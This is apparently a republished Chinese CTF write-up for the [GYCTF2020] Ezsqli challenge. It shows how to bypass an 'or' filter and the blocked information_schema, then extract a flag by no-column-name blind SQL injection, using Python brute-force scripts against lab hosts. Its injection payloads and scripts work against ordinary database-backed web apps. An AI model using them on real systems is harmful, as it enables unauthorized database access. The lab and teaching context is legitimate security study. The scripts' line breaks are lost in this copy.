[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入

2023-10-09 13:36

本文主要是介绍[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

https://www.cnblogs.com/h0cksr/p/16189749.html

https://www.gem-love.com/ctf/1782.html

说好的ez....

我们开始吧

首先就直接进行抓包 看回显

 然后开始正常的测试

报错了 这里的

or过滤的绕过

我们可以使用 ^ 或者 || 我喜欢用 ||

所以继续构造

发现了 就是目前这种 然后我们可以开始

我们通过fuzz 发现 很多都被禁用了

所以我们还是选择盲注吧

正常测一下

确定了 可以使用盲注

那我们开始写了

但是我们通过fuzz 发现 information_schema 也被过滤了 其实主要是 or被过滤

information_schema绕过

所以我们需要使用其他的表来爆破

这里给出几个替换的

sys.schema_table_statistics_with_buffersys.x$schema_flattened_keys

这两个都可以查出来

import timeimport requestsbase_url=r"http://238ed74f-cd44-42cb-9714-fd94acddc480.node4.buuoj.cn:81/"
data=''
#下面的payload需要使用 > 号 而不是 =
payload="""2||ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{}"""
for i in range(1,10000):low = 32high = 128mid =(low + high) // 2while(low < high):payload1=payload.format(i,mid)data1={'id':payload1}r = requests.post(url=base_url,data=data1)if "Nu1L" in r.text:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 32 or mid == 132):breakdata+=chr(mid)print(data)
f1ag_1s_h3r3_hhhhh,users233333333333333

得到了表名

无列名注入

这里因为我们无法通过 这个表获取flag的列名

并且这里过滤了 union 所以我们无法使用
 

select 1,2,3 union select * from 表

这种无列名注入

所以我们现在需要学习另一个

通过ascii位移来获得flag

我们开始在本地尝试

select (select "a")  > (select "abcdef")0select (select "b")  > (select "abcdef")1这里能发现 是通过比对 首个字符的ascii 如果相同 就输出 0 不同就输出 1

这里真的很巧妙

我们继续来实验一下

这里其实比对的是

前一个 ascii  和 后一个ascii 值的大小如果前一个比较大 那么就输出0

但是反过来 如果 后面比较大 我们就输出1        

其次 第一个一样 我们就比对下一个

select (select "ac") > (select "abcdef")1

select (select "aa") > (select "abcdef")

0

所以我们可以通过这个方式来查询

首先通过 select 1,2,3 查询字段数

说明字段数量为2

然后我们就可以通过循环开始查询了

我这里演示一下

我们知道 flag 是f开头

如果我输入g呢 返回 1(Nu1L)

 如果输入的是e

返回了 V&N

所以我们只要读取到了 Nu1L 然后通过 减去一位 我们就可以获得上一个的字符

然后加入 就可以获取下一个了

这里还有一个要注意的 就是 我们注入的地方在字段2 是flag在的地方

1 可能是 id什么的

我们开始写脚本吧

import timeimport  requestsbaseurl="http://17d5864a-27fc-4fc7-be88-e639f3f55898.node4.buuoj.cn:81/index.php"def add(flag):res=''res+=flagreturn res
flag=''
for i in range(1,200):for char in range(32,127):datachar = add(flag+chr(char)) #增加下一个比对的字符串payload='2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(datachar)data = {'id':payload}req=requests.post(url=baseurl,data=data)if "Nu1L" in req.text:flag += chr(char-1)print(flag)breakif req.status_code == 429:time.sleep(0.5)

这篇关于[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/173195

相关文章

深入浅出Spring中的@Autowired自动注入的工作原理及实践应用

《深入浅出Spring中的@Autowired自动注入的工作原理及实践应用》在Spring框架的学习旅程中,@Autowired无疑是一个高频出现却又让初学者头疼的注解,它看似简单,却蕴含着Sprin... 目录深入浅出Spring中的@Autowired:自动注入的奥秘什么是依赖注入?@Autowired

Spring 依赖注入与循环依赖总结

《Spring依赖注入与循环依赖总结》这篇文章给大家介绍Spring依赖注入与循环依赖总结篇,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. Spring 三级缓存解决循环依赖1. 创建UserService原始对象2. 将原始对象包装成工

Spring-DI依赖注入全过程

《Spring-DI依赖注入全过程》SpringDI是核心特性,通过容器管理依赖注入,降低耦合度,实现方式包括组件扫描、构造器/设值/字段注入、自动装配及作用域配置,支持灵活的依赖管理与生命周期控制,... 目录1. 什么是Spring DI?2.Spring如何做的DI3.总结1. 什么是Spring D

MYSQL中information_schema的使用

《MYSQL中information_schema的使用》information_schema是MySQL中的一个虚拟数据库,用于提供关于MySQL服务器及其数据库的元数,这些元数据包括数据库名称、表... 目录关键要点什么是information_schema?主要功能使用示例mysql 中informa

Java Spring的依赖注入理解及@Autowired用法示例详解

《JavaSpring的依赖注入理解及@Autowired用法示例详解》文章介绍了Spring依赖注入(DI)的概念、三种实现方式(构造器、Setter、字段注入),区分了@Autowired(注入... 目录一、什么是依赖注入(DI)?1. 定义2. 举个例子二、依赖注入的几种方式1. 构造器注入(Con

如何使用Lombok进行spring 注入

《如何使用Lombok进行spring注入》本文介绍如何用Lombok简化Spring注入,推荐优先使用setter注入,通过注解自动生成getter/setter及构造器,减少冗余代码,提升开发效... Lombok为了开发环境简化代码,好处不用多说。spring 注入方式为2种,构造器注入和setter

Maven 配置中的 <mirror>绕过 HTTP 阻断机制的方法

《Maven配置中的<mirror>绕过HTTP阻断机制的方法》:本文主要介绍Maven配置中的<mirror>绕过HTTP阻断机制的方法,本文给大家分享问题原因及解决方案,感兴趣的朋友一... 目录一、问题场景:升级 Maven 后构建失败二、解决方案:通过 <mirror> 配置覆盖默认行为1. 配置示

SpringBoot项目注入 traceId 追踪整个请求的日志链路(过程详解)

《SpringBoot项目注入traceId追踪整个请求的日志链路(过程详解)》本文介绍了如何在单体SpringBoot项目中通过手动实现过滤器或拦截器来注入traceId,以追踪整个请求的日志链... SpringBoot项目注入 traceId 来追踪整个请求的日志链路,有了 traceId, 我们在排

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

小技巧绕过Sina Visitor System(新浪访客系统)

0x00 前言 一直以来,爬虫与反爬虫技术都时刻进行着博弈,而新浪微博作为一个数据大户更是在反爬虫上不遗余力。常规手段如验证码、封IP等等相信很多人都见识过…… 当然确实有需要的话可以通过新浪开放平台提供的API进行数据采集,但是普通开发者的权限比较低,限制也比较多。所以如果只是做一些简单的功能还是爬虫比较方便~ 应该是今年的早些时候,新浪引入了一个Sina Visitor Syst